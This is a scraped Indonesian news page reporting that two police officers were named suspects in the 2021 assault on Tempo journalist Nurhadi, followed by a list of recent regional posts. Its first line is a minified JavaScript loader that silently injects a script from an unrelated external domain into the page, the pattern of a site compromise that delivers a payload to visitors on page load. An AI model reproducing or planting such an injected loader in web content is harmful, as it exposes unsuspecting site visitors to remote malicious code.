(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dua Oknum Polisi Jadi Tersangka Kasus Penganiayaan Jurnalis Tempo


KANALKALIMANTAN.COM – Direktorat Reserse Kriminal Umum (Dit Reskrimum) Polda Jawa Timur dikabarkan telah menetapkan dua orang tersangka terkait kasus dugaan penganiayaan terhadap jurnalis Tempo Nurhadi. Keduanya merupakan anggota polisi berinisial P dan F.

Hal itu diungkapkan oleh Koordinator Advokasi Aliansi Anti Kekerasan Terhadap Jurnalis, Fatkhul Khoir. Kedua tersangka diduga sebagai pelaku yang ikut menganiaya dan merusak sim card ponsel milik Nurhadi.

“Informasi yang kami terima, keduanya ditetapkan sebagai tersangka sejak Jumat, 7 Mei lalu,” kata Fatkhul kepada wartawan, Minggu (9/5/2021).

Fatkhul berharap penyidik dapat mengusut tuntas kasus ini. Terlebih, berdasar keterangan saksi pelaku tidak hanya berjumlah dua orang.

Baca juga : Viral Pengemudi Mobil Terobos Penyekatan, Pelaku Masih Berusia 16 Tahun

“Waktu penganiayaan, jumlah pelakunya juga tidak hanya dua orang yang sudah ditetapkan sebagai tersangka ini saja,” bebernya.

Kasus Suap Pajak

Nurhadi diduga dianiaya oknum aparat saat berupaya mengonfirmasi kasus suap pajak yang melibatkan mantan Direktur Pemeriksaan Ditjen Pajak Kementerian Keuangan Angin Prayitno Aji. Kasus tersebut kekinian tengah ditangani oleh Komisi Pemberantasan Korupsi (KPK).

Nurhadi dituduh masuk tanpa izin ke acara resepsi pernikahan anak Angin Prayitno di Gedung Graha Samudera Bumimoro, kompleks Markas Komando Pembinaan Doktrin Pendidikan dan Latihan TNI Angkatan Laut (Kodiklatal) Surabaya, Sabtu (27/3/2021) malam.

Nurhadi kemudian digiring menuju gudang di belakang gedung tersebut untuk diinterogasi. Meski sudah menyampaikan statusnya sebagai jurnalis, beberapa oknum pengawal diduga aparat itu tak menghiraukan. Berulangkali Nurhadi jadi sasaran kekerasan fisik saat proses interogasi tersebut.

Baca juga : Tertangkap, Sopir VW Kuning yang Kabur Saat Diperiksa Ternyata Masih Bocah

Esoknya, Nurhadi melaporkan resmi kasus yang dialaminya ke Polda Jawa Timur didampingi AJI Surabaya, KontraS, LBH Lentera, LBH Pers, dan LBH Surabaya.

Kapolda Jawa Timur Irjen Pol Nico Afinta telah membentuk tim khusus untuk mengungkap kasus tersebut.

“Kasus tersebut saat ini telah ditangani oleh tim yang dibentuk oleh Kapolda Jatim,” kata Kabid Humas Polda Jatim Kombes Polisi Gatot Repli Handoko dikutip dari ANTARA, Senin (29/3) lalu.(suara.com)

 

 

 


Al Ghifari

Recent Posts

Randi Juara Turnamen Billiard Bupati Kapuas Cup 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno didampingi Sekretaris Daerah (Sekda) Kapuas Septedy… Read More

1 jam ago

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi… Read More

2 jam ago

Tingkatkan Kompetensi 183 Kades se Kapuas Digembleng di Pusdiklat Kemenhan

KANALKALIMANTAN.COM, KUALA KAPUAS - Sebanyak 183 Kepala Desa dan Penjabat Kepala Desa (Kades) se Kabupaten… Read More

2 jam ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Ditutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Festival Budaya Tingang Menteng Panunjung Tarung 2025 sukses digelar dalam rangka… Read More

2 jam ago

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

18 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

22 jam ago